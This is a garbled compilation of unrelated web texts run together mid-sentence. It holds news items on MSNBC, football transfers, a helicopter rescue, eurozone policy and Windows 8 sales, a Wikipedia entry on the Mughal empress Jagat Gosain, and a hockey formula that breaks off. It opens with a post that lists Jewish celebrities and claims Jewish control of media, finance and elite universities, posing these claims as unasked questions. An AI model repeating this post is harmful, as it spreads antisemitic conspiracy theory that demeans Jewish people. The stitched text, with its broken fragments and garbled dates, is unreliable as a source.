Jewish actors: Joseph Gordon-Levitt, Jake Gyllenhaal, Harrison Ford (part Jewish), Daniel Radcliffe (half Jewish), Paul Rudd, Dustin Hoffman, Daniel Day-Lewis (half Jewish), Shia LeBeouf (half Jewish), Adrien Brody, Leonard Nimoy, William Shatner, Jonah Hill, Jeff Goldblum, Richard Dreyfuss, Sean Penn (part Jewish), Rob Schneider
Jewish directors: Stanley Kubrick, J.J. Abrams, Steven Spielberg, David Cronenberg, Coen Brothers, Roman Polanski
Media personalities: Katie Couric (half Jewish)
Chuck Lorre: creator of The Big Bang Theory show
I think there are too many Jewish people in positions of power and influence to simply brush off as simply a coincidence. When you look at how many Jewish students there are at Harvard and Yale, 26%, that's an overrepresentation of 1500%. The Ivy League is the gateway to positions of power, everyone knows this. There are 6 media corporations that control 90% of what you watch, and 5 of those 6 have Jewish people at the very top positions (the exception being Rupert Murdoch's News Corp/Fox News, wow, isn't that interesting?)
Everyone is talking about the 1% and the banks, like Goldman Sachs. Why is no one making the obvious connection to Jews? Economists failed to predict the recession. They're using highly unrealistic, ideological models. And the profession has been dominated by Jews. Surely there is a connection to be made here. Why is no one talking about it?
It is extremely interesting that you find prominent Jews on both the extreme pro-capitalism side and the extreme anti-capitalism side. And not just that, they're the crowning figures of their respective movements. Why is no one talking about this?
Why do the Clintons in particular surround themselves with so many Jewish people in prominent positions of power?
Well, it could be because the media doesn't want you to hear about it. And don't expect your favorite cultural icons to talk about it either - would anyone want to piss off all those A-list actors and actresses?
Why is it that simply asking these questions gets you the label "anti-Semite" hurled at you? Of course I recognize the historical associations that have been made, and the consequences of that. But is that an excuse to refuse to look at the reality of the situation?
Sources:Other than just photographing yesterday, John O’Brien and myself decided to interview whatever students were willing to talk about their State Patty’s Day thus far. The interviews took place from 2-3 p.m. on Saturday, and most students we interacted with were very kind (some a little bit TOO nice…).
Below you can check out a compilation of the #SPD12 interviews.
Your ad blocker is on. Please choose an option below.
Sign Up Sign up for our e-mail newsletter: OR Support quality journalism:
About the Author
Melanie Versaw Melanie is a senior majoring in both Marketing and Advertising. She enjoys blowing bubbles, beating boys in Mario Kart, and going to concerts. Oh, and she takes photographs, as well.
East Renovation Continues With Approval For Sproul, Geary Halls Penn State’s Board of Trustees approved the next phase of East Halls renovations at its meeting Friday, setting the stage for construction to begin on Sproul and Geary Halls.Brian Williams was reprimanded by his boss at MSNBC for 'patronizing' host Rachel Maddow by thanking her for 'visiting' his newscast even though he had taken over her nightly time slot to report on the US missile strike in Syria earlier this month, it was claimed on Saturday.
Sources at the liberal-leaning cable news outlet said that Phil Griffin, the president of MSNBC, 'gave Brian a very stern rebuke, telling him "Don't you ever do that again",' according to Page Six.
The former NBC Nightly News anchor was summoned to steer MSNBC's coverage of the US Navy's Tomahawk missile strike on Syria, which President Donald Trump ordered after the regime of President Bashar Assad was blamed for an attack on civilians with chemical weapons.
The coverage broke into Maddow's nightly program, The Rachel Maddow Show, which has generated significantly higher ratings in recent months.
Brian Williams (left) was reprimanded by his boss at MSNBC, Phil Griffin (right), for 'patronizing' host Rachel Maddow by thanking her for 'visiting' his newscast even though he had taken over her nightly time slot to report on the US missile strike in Syria earlier this month
Williams steered coverage of the Syria strike on April 6, which broke into Maddow's (above) nightly program, The Rachel Maddow Show
Williams' anchoring of the April 6 broadcast has been widely panned by critics who not only objected to his perceived intrusion on Maddow's turf, but also because he repeated his observation that the video footage of the missiles being launched was 'beautiful.'
'Not only did Brian go way over the top with his coverage of the missile strike,' an MSNBC source told Page Six.
'He then totally patronized Rachel by thanking her for 'visiting' her own show and being 'a part' of his 'beautiful' coverage! Has he not learned anything from 'Misremember-gate'?'
'Misremember-gate' refers to statements made by Williams in which he exaggerated claims of coming under fire while reporting from war zones in Iraq.
Williams would later claim in an interview with Stars and Stripes that he'misremembered' certain details of his experiences covering the 2003 invasion of Iraq.
Williams' anchoring of the April 6 broadcast has been widely panned by critics who not only objected to his perceived intrusion on Maddow's turf, but also because he repeated his observation that the video footage of the missiles being launched (above) was 'beautiful'
The controversy, which erupted in February 2015, generated an intense backlash and forced NBC News to remove Williams from anchoring the nightly newscast.
After a six-month suspension, Williams returned to the air on MSNBC in September 2015.
His broadcast in place of Maddow to cover the breaking news from the Middle East angered fans of TRMS, who said MSNBC's decision was'sexist.'
Viewers also took issue with some of Williams' comments on the broadcast, especially when he played videos of the missiles being launched and said: 'We see these beautiful pictures at night from the decks of these two US Navy vessels...
'I am tempted to quote the great Leonard Cohen, "I am guided by the beauty of our weapons".
'And they are beautiful pictures of fearsome armaments making what is for them a brief flight over this airfield.'
Despite the backlash from both fans and network executives, Maddow 'didn't seem bothered by it and just laughed it off,' according to Page Six.Jackson and Gonalons for Napoli?
By Football Italia staff
With Gonzalo Higuain and Pepe Reina undergoing medicals today, Napoli are also bidding for Jackson Martinez and Maxime Gonalons.
The Partenopei are eager to spend the €63m earned from Edinson Cavani’s sale to Paris Saint-Germain.
Goalkeeper Reina arrives on loan from Liverpool, while there is a €37m deal with Real Madrid for hitman Higuain.
According to Sky Sport Italia, their spending spree is nowhere near over, as Coach Rafa Benitez has more names on his wish-list.
Jackson Martinez is the prime target after scoring a remarkable 33 goals in 43 games in all competition last season for Porto and Colombia.
He netted 26 in 30 Primeira Liga matches and his price-tag is thought to be at least €35m.
“The problem is that the clause in his contract is between €35m and €40m, so with Higuain’s arrival I doubt Napoli would want to spend that much on another very similar striker,” Italian agent Salvatore Fiore told TMW.
“However, the two could co-exist. Jackson is a forward who can start from a deeper position, so he could play alongside Higuain.”
The other transfer target emerging is Lyon midfielder Gonalons, who had already been linked with Napoli in recent weeks.Jagat Gosain (Persian: جگت گوسین; died 19 April 1619) meaning 'Mistress of the World',[1] was Empress consort of the Mughal Empire as the wife of Mughal emperor Jahangir and the mother of his successor, the fifth Mughal emperor Shah Jahan.[2][3] She is also known as Jodh Bai or Jodha bai[4][5] and was given the posthumous title of Bilqis Makani.[6][7]
By birth, she was a Rajput princess of Marwar (present-day Jodhpur) and was the daughter of Raja Udai Singh (popularly known as Mota Raja), the Rathore ruler of Marwar and the sister of Sawai Raja Sur Singh, another Rathore ruler of Marwar.[8][9]
Family [ edit ]
Known most popularly as Jodh Bai,[10] the Jodhpur princess,[11] Jagat Gosain belonged to the Rathore clan of Rajputs and was a daughter of Raja Udai Singh,[5] the ruler of Marwar (present-day Jodhpur).[12] Udai Singh was popularly known by the sobriquet Mota Raja (the fat king).[13] Her mother was Manrang Devi,[14] daughter of Raja Askaran of Gwalior (d.1599),[15][16] who was also briefly Raja of Amber before being ousted in favour of his uncle, Bihari Mal.[17]
Her paternal grandfather was Maldeo Rathore,[18] under whose rule Marwar turned into a strong Rajput Kingdom that resisted foreign rule and challenged the invaders for northern supremacy. Maldeo Rathore refused to ally with either the Sur Empire or the Mughal Empire after Humayun regained control of North India in 1555. This policy was continued by his son and successor Chandrasen Rathore.[19]
After the death of Maldeo Rathore in 1562, a fratricidal war for succession started and Chandrasen crowned himself in the capital Jodhpur. But his reign was short lived as Emperor Akbar's army occupied Merta in the same year and the capital Jodhpur in 1563.[20]
After the death of Rao Chandrasen in January 1581, Marwar was brought under direct Mughal administration. In August 1583, Akbar restored the throne of Marwar to Udai Singh, who, unlike his predecessors, submitted to the Mughals and subsequently joined the Mughal service.[20]
Marriage to Jahangir [ edit ]
After submitting to the Mughals, Udai Singh decided to give his daughter Jagat Gosain in marriage to Akbar's eldest son, Prince Salim. Certain other Rajput nobles did not like the idea of their kings marrying their daughters to the Mughals as they considered it a sign of humiliation and degradation. As a result, Kalyandas Rathore of Siwana threatened to kill both Udai Singh and Prince Salim. Akbar, in return, ordered the imperial forces to attack Kalyandas at Siwana. Kalyandas died fighting along with his men and the women of Siwana committed Jauhar (the Hindu custom of mass self-immolation by women).[21]
Jagat Gosain Portrait of
Jagat Gosain married the 16 year-old Prince Salim (later known as 'Jahangir' upon his accession) on 26 June 1586. Although the marriage was a political one, Jagat was known not only for her beauty and charm but for her wit, courage, and spontaneity of response - all of which greatly endeared her to her husband during the early years of their marriage.[22] In 1590, she gave birth to her first child, a daughter, named Begum Sultan, who died at the age of one.[23] On 5 January 1592, she gave birth to Salim's third son, who was named 'Khurram' ("joyous") by his grandfather, the Emperor Akbar. The prince, who was to become the future emperor Shah Jahan, was Akbar's favourite grandson and in the words of Jahangir "was more attentive to my father [Akbar] than all [my] children... He recognized him as his own child."[10] After the birth of Shah Jahan, she was given the title Taj Bibi, meaning 'crown wife'.
Just prior to Khurram's birth, a soothsayer had reportedly predicted to the childless Empress Ruqaiya Sultan Begum (Akbar's chief wife)[24][25] that the still unborn child was destined for imperial greatness.[26] So, when Khurram was only six days old, Akbar ordered that the prince be taken away from Jagat Gosaini and handed him over to Ruqaiya so that he could grow up under her care and Akbar could fulfill his wife's wish, to raise a Mughal emperor.[26] Jagat was consoled with a magnificent gift of rubies and pearls.[27]
Ruqaiya assumed the primary responsibility for Khurram's upbringing and he grew up under her care.[28] The two shared a close relationship with each other as Jahangir noted in his memoirs, that Ruqaiya had loved his son, Khurram, "a thousand times more than if he had been her own [son]."[29] Khurram remained with her until he had turned almost 14. After Akbar's death in 1605, the young prince was allowed to return to his father's household, and thus, be closer to his biological mother.[26] In the intervening years, Jagat had given birth to her third (and last) child in 1597, a daughter, Izzat-un-nissa, who died in infancy.[23]
Jagat Gosain seems to have lost her husband's favour quite early on in their marriage,[30] more so after the arrival of her arch-rival in the imperial harem, Nur Jahaṇ, of whom Jagat was scornful. Jahangir had married her in 1611 and from the time of their marriage until his death, Nur Jahan was indisputably his most favourite wife.[31] Even prior to his marriage with Nur Jahan, Jahangir's chief consort and Padshah Begum was his wife, Saliha Banu Begum, who held this position from the time of his accession in 1605 till her death in 1620, after which these honorable titles were passed on to Nur Jahan.[10]
Death [ edit ]
Jagat Gosain died on 19 April 1619 at Agra.[32] Jahangir noted the death briefly, saying simply that she had "attained the mercy of God." After her death, Jahangir ordered that she be called Bilqis Makani ("the Lady of Pure Abode")[33] in all of the official documents.[34]
She was buried in Suhagpura, Agra.[35] Her tomb consisted of a high dome, gateways, towers and a garden situated in the cantonment area. All of this was blown up in 1832 with gunpowder, for the sake of its site and material, stone and brick, which the British needed.[36]
In popular culture [ edit ]
Jagat Gosain is a principal character in Indu Sundaresan's award-winning historical novel The Twentieth Wife (2002) [37] as well as in its sequel The Feast of Roses (2003). [38]
(2002) as well as in its sequel (2003). Nayani Dixit portrayed Jagat Gosain in EPIC channel's critically acclaimed historical drama Siyaasat (based on the Twentieth Wife).
Ancestry [ edit ]
Ancestors of Jagat Gosain 8. Ganga, Rao of Marwar 4. Maldeo, Rao of Marwar 9. Padma Bai of Sirohi[39] 2. Udai Singh, Raja of Marwar 10. Jait Singh, Raja of Khairawa[40] 5. Swarup Devi 1. Jagat Gosain 12. Bhim Singh, Raja of Amber[41] 6. Askaran, Raja of Gwalior 3. Manrang Devi
References [ edit ]
Bibliography [ edit ]Note: This is not a vote. Please do not nominate the same person more than once.
* Tell us about your nominee and what is special about his/her work. * Accomplishments and Impact: How is his/her work making a difference?
Privacy policy
The information you provide will be used in accordance with our privacy policy.
For our international users, please be aware that the information you submit when registering for our services is collected in the United States of America. In addition to being subject to our privacy policy, the collection, storage and the use of your data will be subject to U.S. laws and regulations, which may be different from the laws and regulations in your home country. By registering for this service, you are consenting to this collection, storage and use.The Super Bowl champion Baltimore Ravens are receiving $130,000 in public funds to promote Obamacare for a year, according to documents obtained by Judicial Watch.
In September, officials with Maryland Health Connection — Maryland’s Obamacare exchange — announced that the team had signed on to be a partner in the promotion efforts for President Obama’s signature health-care law.
“Research shows that 71 percent of the uninsured population in Maryland have watched, attended or listened to a Ravens game in the past 12 months,” the Connection’s press announcement explained.
“The partnership will provide Maryland Health Connection with the opportunity to reach and engage fans while making them aware of the new opportunity they have for health coverage beginning this fall through the health insurance marketplace,” it added.
The deal between the Ravens and Maryland Health Connection was finalized on Sept. 9 and according to Judicial Watch the $130,000 deal requires that the Super Bowl champions promote the exchange on television, radio, the team website, its news letter, and social media.
The National Football League declined appeals from the Obama administration to help sell Obamacare over the summer.
Follow Caroline on TwitterHello Schmoeville!
Way, way back in November of 2012 VARIETY announced that Tom Hardy had signed on to star in Ubisoft’s adaptation of their popular video game series: Tom Clancy’s SPLINTER CELL. Eric Warren Singer (“The International”) would be scripting and, at the time, no studio was set to distribute. But really, things looked good; what with Tom Hardy on board and all…
Variety stated at the time:
Hardy will play Sam Fisher, a highly-trained special operative in a fictional black-ops operation called Echelon.
And just like every black-ops mission, nothing else was heard of again. Probably some black operatives took out every studio head with a knife to the head. Or something.
Well today, thanks to a very trusted source within the Schmoes Know camp who is knowledgeable of the project, we have some news to share on its status and on the directors up for the popular video game.
Now it seems New Regency is in on the development and are in discussions with a number of directors for the project. By the way, discussions usually means, like, having lunch with them… or something… Bear in mind these names are being bandied about internally but from the list of potential candidates, I’m intrigued by a couple names who could do stellar work on the project.
But what I am most intrigued by is the claim from our source that said none other than Antoine Fuqua “expressed interest.” No more news past that but I wonder if he might still be in the mix. After all, expressing interest is well… a way in which someone says, yeah I’m interested, give me the script. If anything changes on that front I’ll let you know.
Now on to our sources claim for the directors up for the job:
Top of the list are two names everyone has heard of: Shane Black (IRON MAN 3, KISS KISS BANG BANG) and Peter Berg (BATTLESHIP and the stellar LONE SURVIVOR).
Out of the two, there’s a clear frontrunner in my mind: Peter Berg. The guy absolutely KILLED it with LONE SURVIVOR and because of the particular subject matter, it seems Berg is tailor made for the SPLINTER CELL gig.
Shane Black? Not so much… I don’t see his style of humor fitting the world of SPLINTER CELL and let’s be honest, he’s in the running because IRON MAN 3 did infinity billion dollars at the box office.
The other names mentioned from our source include:
Morten Tyldum (‘The Imitation Game’ with Benedict Cumberbatch), David Michôd (‘The Rover’ with Guy Pearce) Zal Batmanglij (‘The East’ starring Ellen Page and David Mackenzie (Starred Up).
In all cases I have not seen any of these directors work let alone heard of them. Morten Tyldum has his THE IMITATION GAME coming out soon (starring Mr. Cumberbatch) so he seems to be somewhat higher in the Hollywood cliques. As for the rest, it’s anyone’s guess.
Since these are early discussions, we might very well end up with a director not mentioned on this list so time will tell what shakes out. But what IS known, the SPLINTER CELL movie with Tom Hardy is inching ever so slowly to a greenlight. That should make any SPLINTER CELL fan very, very happy.
And if I had my druthers, I’d hire the frak out of Peter Berg and tell him to have fun (as I mentioned, LOVED Lone Survivor) but that’s me. Hollywood is a fickle beast…
So how about you, Schmoeville? Are you excited for SPLINTER CELL with Tom Hardy? Who would you want to direct out of this list of directors? And if no one is catching your eye, drop in your choice now! We can discuss, examine and/or go on a Black Ops mission to secure intel.
Follow Reilly on Twitter! Follow the Schmoes on Twitter!
Are you subscribed to The Schmoes on Youtube? No? Well do it HERE!!!
Share on FacebookA Russian helicopter pilot who went missing during the Iqaluit-to-Greenland portion of a trip around the world was down to his last flare when he was found on a floe in the Davis Strait this morning.
Russian pilot Sergey Ananov was attempting to fly around the world, after leaving Moscow in mid-June, but went missing on the weekend during the Iqaluit-to-Greenland portion. He was found on an ice floe in Davis Strait, Joint Task Force Atlantic tweeted early Monday. (John Van Dusen/CBC ) Sergey Ananov, who left Moscow in mid-June, was travelling to Greenland in a Robinson R-22 helicopter after fuelling up in Iqaluit when the Canadian Forces Joint Rescue Co-ordination Centre received information about a missing helicopter Saturday morning.
"It couldn't have been a more austere area of the planet to be in the Davis Strait between Baffin Island and Greenland. It's a pretty rough terrain, a lot of ice in it," said Rear Admiral John Newton.
He said Ananov had seconds to get out once his helicopter landed on the water. Newton said he doesn't believe Ananov's survival suit was completely buttoned up when the plane went down.
After surviving the crash, he had to deal with the cold, limited supplies and polar bears.
"He had some charming neighbours that would have come to his location to inquire what he was up to," said Newton.
The Canadian Coast Guard ship Pierre Radisson spotted a red flare early Monday morning — Ananov's last.
Kirill Kalinin, the press secretary for the Russian Embassy, told CBC that he spoke with Ananov Monday afternoon.
"I asked him about the situation with the polar bears, if he'd encountered [them]," said Kalinin. "And he said yes, at some point three bears managed to get on board the ice floe."
According to Kalinin, Ananov screamed at the top of his lungs until the bears left, leaving him alone on the ice floe.
Pilot doing 'OK'
"He apparently had all his skills and his facilities to look after himself to stay alive, to stay warm, fend off the polar bears and fire the last flare in his package to alert the Pierre Radisson of his location," said Newton.
"He's OK. The joy of being found is the overwhelming emotion that cures a lot of your ills."
Early Monday morning, the Russian Embassy tweeted their thanks to Canadian Forces and the Government of Canada for their part in Ananov's rescue.
Thank you, <a href="https://twitter.com/hashtag/Canada?src=hash">#Canada</a>, for finding and rescuing Russian helicopter pilot Sergey <a href="https://twitter.com/hashtag/Ananov?src=hash">#Ananov</a>! <a href="https://twitter.com/CanadianForces">@CanadianForces</a> <a href="https://twitter.com/Transport_gc">@Transport_gc</a> <a href="https://twitter.com/CanadaFP">@CanadaFP</a> —@RussianEmbassyC
"We're very glad everything worked out," Kalinin told CBC North.
Kalinin, who spoke with Ananov Monday afternoon, says that the pilot is "feeling all right" and that he's "slowly but surely making his way into Iqaluit."
Once Ananov is there, said Kalinin, the embassy will work with the Canadian government in order to make arrangements for him to return to Russia. Ananov lost his passport and other documentation during the incident.
Ananov started his world trip June 13 in Moscow. He was found about 380 kilometres east of Iqaluit. The coast guard ship is now on its way back to the territory.
He had arrived in Iqaluit on July 23 via Labrador and Nunavik, in a helicopter weighing less than a tonne, after a long journey across North America.
The helicopter was reported overdue at 3:20 p.m. ET Saturday.
Two Hercules search-and-rescue aircraft and a Cormorant helicopter from 14 Wing Greenwood in Nova Scotia were dispatched to join the search, which also involved a Transport Canada patrol plane and a fishing boat.
The Facebook group tracking Ananov's trip thanked the Canadian crew members for their efforts.
"Sergey is alive," it reads. "Thanks everyone for your prayers and well wishes and undescribable gratitude to all the men and women of the Canadian search and rescue."
Newton said investigators are trying to determine the exact cause of the crash.In this week's episode of the Pickaxe Podcast, I am joined by Malika Andrews (@Malika_Andrews) from the Denver Post and the UP Beacon. We talked about our experience at Las Vegas Summer League, the young Nuggets that played at Summer League, and our experiences in sports journalism. Malika has such interesting insights from spending the last few weeks observing and covering the team.
Thanks for listening and be sure to subscribe on itunes. If you enjoyed the show, you can support us by writing a review and/or giving it a positive rating.
Time-stamps:
1:45 - Malika's experiences in journalism
5:30 - The Summer League experience
8:45 - Big view impressions of the Nuggets at SL
10:55 - Jamal Murray's personality and intensity
18:45 - Malik Beasley's awesome bench celebrations
21:15 - Juancho's readiness for the league and Europe vs. NBA
26:00 - Petr Cornelie's interesting and introspective personality
32:55 - Mike Miller's leadership style
36:15 - Lightning round topics including favorite player, most exciting Nuggets storyline next year, and Malika's journalism heroes.Vance Serchuk is a Council on Foreign Relations-Hitachi international affairs fellow, based in Tokyo at the Canon Institute for Global Studies. He writes a monthly column for The Post.
Over the past two years, Syria’s descent into civil war has provoked alarm and horror in Washington. While officials have argued over the extent to which the United States can and should intervene, everyone agrees that the conflict poses a humanitarian catastrophe and a threat to U.S. interests across the Middle East, including to the stability of allies, the struggle against Islamist extremism and the effort to keep weapons of mass destruction out of terrorist hands.
Lately, however, another argument has crept into the debate: the idea that, while unquestionably tragic, Syria’s slow-motion unraveling might not be an unmitigated calamity for the United States. Rather, it could carry a Machiavellian upside by embroiling Iran, our foremost enemy in the region, in a costly, protracted struggle with al-Qaeda. Syria, the theory holds, could be for Iran what the Iraq war was for the United States.
For the Obama administration, under fire for its handling of the crisis, this could be an appealing notion — and a convenient rationalization for not attempting more decisive intervention that might stop the spiral of violence.
But there’s good reason — beyond its ugly moral calculus — that this argument is mostly whispered on the margins. Under scrutiny, it withers.
For starters, the argument presumes that the Syrian conflict is bogging down the Iranians, sapping their strength and distracting them from more vital interests. Unfortunately, the evidence suggests that as Tehran has been riding to the rescue of Syrian President Bashar al-Assad, it has made disturbing inroads elsewhere, including Yemen and Iraq.
That’s because the instability the Syrian conflict is fueling across the Middle East is largely good for Iran: Sectarian polarization is driving anxious Shiite populations closer to Tehran, while refugee flows are weakening key U.S. allies such as Jordan and Turkey.
Iran, meanwhile, is suffering no meaningful blow-back for its deadly interference in Syria. On the contrary, protracted bloodshed there fosters regional conditions in which Iranian power is likely to thrive.
Involvement in Syria also hasn’t done — and won’t do — anything to set back Iran’s strategic trump card: its nuclear program. In the two years since the uprising against Assad began, Tehran has made steady progress toward weapons capability.It has expanded its stockpile of enriched uranium, installed next-generation centrifuges and moved forward with a heavy-water reactor that will provide an alternative path to a bomb.
Nor does Iran’s aid to Assad seem likely to exhaust the Islamic Republic. Although surely an unwelcome burden at a time when the regime is battling economic sanctions, Tehran’s approach to the conflict has not been an Iraq-style commitment of hundreds of thousands of ground troops. Rather, it’s pursuing a “light footprint” more akin to the Obama administration’s preferred approach to the war against terrorism by relying on a small number of its version of special-operations forces, the Quds Force, who are bolstering local proxies.
Of course, there is another aspect of the Iraq war the Obama administration might consider before wishing a similar experience on Iran: namely that, in the end, the United States prevailed.
When President Obama took office in 2009, the back of the al-Qaeda-linked insurgency had been broken, Iranian-affiliated militias in southern Iraq had been routed, and the framework was in place for a long-term partnership between Washington and Baghdad.
What might an analogous outcome for Syria look like? We’ve had a preview of that future over the past month, as a surge of support from Iran and Hezbollah enabled Assad to make significant battlefield gains against the rebels.
The Iraq war was devastating for the United States largely because, until the 2007 surge, we were losing. No one in the Middle East watching the recent developments in Syria would say that of Iran.
The Obama administration has reportedly decided to send light weapons and ammunition to the opposition. But even if this starts to reverse the momentum of Assad and the Iranians — an optimistic assumption — a return to a bloody stalemate is still a win for Tehran.
That’s because Assad doesn’t need to reconquer all of Syria for the Iranians to emerge successful. Every day that Assad stays in power thanks to Iranian help, Tehran shows that it can prevent the Obama administration from achieving its stated goal — Assad’s ouster — and that Iran, not the United States, is the relevant power in the region.
And the longer the fighting drags on, the more radicalized Syrian society becomes and the deeper the Iranians can entrench themselves.
This suggests a final flaw in likening the U.S. experience in Iraq to Iran’s intervention in Syria. After turning the corner in Iraq, the United States under the Obama administration walked away. You can bet that in Syria, Iran’s leaders won’t make the same mistake.Eurostat estimates that 25.1 million men and women were unemployed in the European Union in June, of whom 17.8 million were in the euro zone.
Photo
With the European economy paying the price for an acute lack of business confidence, hopes are high that the president of the European Central Bank, Mario Draghi, will follow through on his pledge, made in London last week, to do “whatever it takes” to preserve the euro.
Mr. Draghi’s comments led to a reduction in the borrowing costs of Spain and Italy, which had been hitting the sorts of critical levels that analysts say would make their debt unsustainable in the medium term.
But financial markets will be looking closely to see whether there is any more detail forthcoming Thursday about moves to lower the interest rates paid by Spain and Italy. One theory is that the euro zone’s rescue fund, the European Financial Stability Facility, could intervene alongside the central bank, which has recently stayed out of the bond markets.
Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content, updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.
Before heading to France, Finland and Spain for talks with fellow leaders, the prime minister of Italy, Mario Monti, added to the growing sense of anticipation Tuesday over an easing of the euro zone debt crisis in an interview with an Italian radio station, but again without providing any detail. “We and the rest of Europe are approaching the end of the tunnel,” Mr. Monti said.
“We are now seeing results both in the willingness of European institutions as well as from the governments of individual countries, including Germany,” he added.
Financial analysts like Holger Schmieding, chief economist at Berenberg Bank, and Christian Schulz, senior economist there, say they think they can see the outlines of the new strategy, although it remains unclear how much action will be coming in the very short term.
“News agency reports suggest that the E.C.B. may already be planning a coordinated bond purchase with the rescue fund E.F.S.F., where the latter would lend support in primary markets and the E.C.B. would intervene in secondary markets,” they wrote in a briefing note. “More likely than not, the E.C.B. will not act immediately but deliver a strong verbal intervention instead. Draghi is likely to warn officially that turmoil in sovereign bond markets impairs the transmission of E.C.B. monetary policy and that the E.C.B. will react decisively if the situation deteriorates.”
Mr. Schmieding and Mr. Schulz said, however, that Mr. Draghi was unlikely to confirm publicly any potential cooperation with the financial stability facility. “With luck, a forceful verbal intervention might already be enough to end this wave of the euro crisis,” they said.Improving Our Score Adjustment
Nov 15, 2014
The formula for this site originated from this article. The remainder of this article assumes the reader knows about Corsi, Fenwick, and most importantly score effects, so if you have not read Eric's article from Broad Street Hockey, it is strongly advised that you do before you continue.
The basic premise of score adjustment is that for each game state we can calculate a team's difference from the league's average in that game state and then weight that difference by how important that particular game state is. Eric's article uses league averaged TOI numbers as those weights but concludes with a note that his metric can be improved by using team specific time on ice (TOI) values. This would change his formula from:
$$F_{SA} = {3.75*(F_{up2}-44\%)+8.46*(F_{up1}-46.1\%)+17.94*(F_{tied}-50\%)+8.46*(F_{down1}-53.9\%)+3.75*(F_{down2}-56\%) \over 42.36} + 50\% $$
to:
$$F_{SA} = {TOI_{up2}(F_{up2}-44\%)+TOI_{up1}(F_{up1}-46.1\%)+TOI_{tied}(F_{tied}-50\%)+ |
Windows 7 sales? Microsoft said it had sold 60 million Windows 7 licenses from the end of October 2009, its launch date, to the end of January 2010 December 2009. So that's 60 million Windows 7 licenses sold in two months. So far, Microsoft has sold 40 million licenses of Windows 8 in one month.
Reller did not release any sales figures for Microsoft's Surface RT tablet/PC devices, which also have been on sale since October 26. She did reiterate that Microsoft will have the Surface Pro, the version of the Surface running Windows 8 Pro, availalble in January 2013.
Reller spent much of the first 25 minutes of her presentation about Windows 8 and Surface reiterating Microsoft's design philosophy. She cited a number of statistics meant to show that users were positive about the Windows 8 PCs and tablets that have are in the market and coming to market in the coming months.
"For $39.99, you get Windows 7 made even better," Reller said. (That $39.99 figure is the cost of an upgrade license during Microsoft's current promotion.)
Reller is one of the two primary leaders in charge of the Windows division -- along with the new head of Windows engineering, Julie Larson-Green -- now that former Windows President Steven Sinofsky has left the company. Sinofsky's immediate departure was announced a couple of weeks ago.
Reller was asked about Sinofsky's departure during the Q&A part of her presentation. She emphasized that the foundation of Windows is in great shape and that the Windows unit has a deep bench. She said she'd personally miss working with Sinofsky in the future.
Reller shared a few other stats during her remarks including:
Microsoft now has certified 1,500 PCs and tablets for Windows 8, up from the 1,000 devices it had certified a month ago at launch
The number of apps available in the Microsoft Store has doubled since the launch. (She didn't talk about the total number of Windows Store/Metro Style apps available currently, but WinAppUpdate pinned that number at just over 21,500 worldwide this week.)
A number of applications available in the Windows Store have crossed the $25,000 revenue mark. (Again, no specifics were shared here.)
Without acknowledging directly the critics -- including yours truly -- who've found Windows 8 less than intuitive, Reller said that users are finding Windows 8 "easy to understand and embrace." She said users are exploring Windows 8 and enjoying learning it, from Day 1.
Based on customer feedback and information gathered by Microsoft's customer support organization, "We do know that customers do, indeed, 'get' the product," she said.
She said that over 90 percent of those purchasing Windows 8 and Windows RT devices are using the Charms on Day one. (Charms are the icons that provide search, sharing and other basic functions that can be found by swiping in from the right on a Windows 8/Windows RT device.) She said they are using search between two to three times a day every time they are on their devices. And she played up Microsoft's data that found more than half of the users are using the Windows Store on their first day.
Update: Yes, we don't really know exactly what "licenses sold" includes and does not. Sold to consumers? Sold to channel? Includes licenses grandfathered in through volume license agreements. I've asked Microsoft to see if officials will clarify. If they do, I'll add an update here.
And the official word from a spokesperson: "We have nothing more to share."Archeologists in Mongolia have unearthed a sixth century Turkic burial with the mummy of a woman, her horse and belongings preserved in the Altai Mountains near Kazakhstan, making it the first complete Turkic burial found in Central Asia.
According to the Siberian Times, the 1,500-year-old burial was discovered at an altitude of 2,803 meters by herders, who informed officials in the Khovd Museum.
Researchers from the museum reportedly said that the mummy is thought to belong to a simple person rather than someone from the upper class.
They also noted that the mummy's belongings indicate that the society which she lived in had advanced crafting skills.
Some of the articles found in the mummy's burial included clothing, a saddle, a wooden bowl and a clay vase.
The discovery of the burial is expected to offer new insight into the lives of Turkic people in the ancient periods.
The first Turkic people, who referred to themselves as Turks were the Göktürks, who appeared in the 6th century AD.Tim Kaine Says Hillary Clinton's Christian Faith Is 'Root of Everything She Does'
Email Print Whatsapp Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin
Democratic vice presidential hopeful Tim Kaine recently promoted presidential nominee Hillary Rodham Clinton's Christian faith at a convention of African-American Baptist leaders.
Speaking before the Progressive National Baptist Convention, Inc. annual meeting in New Orleans on Thursday, Kaine talked of how Clinton's Methodist background influenced her worldview.
"Some of you know this story. She was a Midwestern Methodist church kid. Now, I know a lot of those Midwestern Methodist church kids growing up. And there is a beautiful sense of duty," said Kaine, according to a transcript sent to The Christian Post by the Hillary Clinton campaign.
"I think a lot of you know Hillary very well, either from her time in Arkansas, her time as first lady, her time as senator, time as secretary of state. That Methodist connection, that beautiful sense of duty, the obligation to others, that is the root of everything she does."
Kaine also told those gathered about how Clinton's youth pastor took her to Chicago to see Dr. Martin Luther King, Jr. "who talked to her about migrant worker issues beyond what she had experienced."
"And then that opened her up to the fact that there were issues out there that she needed to grapple with. So as a law student, she went to work for Marian Wright Edelman at the Children's Defense Fund," continued Kaine.
"She went to Dothan, Alabama to expose and investigate school segregation after she graduated. She went to Yale. She could have gone to Wall Street. She could have gone anywhere, but she went to work for the Children's Defense Fund to defend the right of young people in South Carolina's juvenile justice system."
Since declaring her candidacy for president, Clinton has periodically had her Methodist Christian background come up on the campaign trail.
For example, in remarks given in January at a rally in Knoxville, Iowa, Clinton spoke about her Methodist upbringing influencing her to, among other things, be more tolerant of others.
"I do believe that in many areas judgment should be left to God, that being more open, tolerant and respectful is part of what makes me humble about my faith," stated Clinton.
"My study of the Bible, my many conversations with people of faith, has led me to believe the most important commandment is to love the Lord with all your might and to love your neighbor as yourself, and that is what I think we are commanded by Christ to do."
Some, including Mark Tooley of the Institute on Religion & Democracy, have argued that Hillary's convictions are more focused on secular endeavors than religious practice.
